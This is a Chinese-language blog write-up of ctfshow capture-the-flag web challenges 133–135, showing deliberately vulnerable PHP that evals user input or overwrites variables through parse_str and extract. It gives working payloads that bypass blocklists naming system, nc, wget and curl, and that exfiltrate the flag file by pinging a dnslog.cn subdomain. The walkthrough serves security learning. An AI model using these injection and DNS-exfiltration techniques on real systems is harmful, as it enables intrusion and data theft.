ctfshow-web入门-PHP特性-133-135


web133

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

工具http://dnslog.cn/

知识点

  • php中eval 两个`表示执行shell命令,但是不会有回显
  • 可以ping到dnslog去获取一些内容

先打开网址,去申请一个域名,然后payload?F=$F; ping cat flag.php | grep ctfshow.jwnzom.dnslog.cn -c 1即可获得flag

web134

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

知识点

  • parse_str()可以吧get的值覆盖成变量,如果是数组,就覆盖数组,(默认)
  • extract()把数组编程变量
  • get传post的时候不要加$,数组的变量不要加’’,

看题目是不能get和post key1和key2,但是我们可以用parse_str和extract绕过,payload?_POST[key1]=36d&_POST[key2]=36d,由于查看的是php文件,查看源代码即可

web135

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

知识点

  • nl,cat,tac,more,less,tail等都可以读文件
  • awk加上NR参数可以读取指定行数,记得加引号
  • tr -cd 后面可以加正则表达式

因为cat和tac被过滤了,所以可以使用nl,因为grep被过滤了,可以使用awk,但是直接读取数据太多了,二级域名无法显示,所以要使用tr命令来限制,所以payload?F=$F;+ping nl flag.php|awk ‘NR==15’.8nfyxk.dnslog.cn -c 1,获得数据拼接后就是flag


文章作者: Rolemee
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Rolemee !
  目录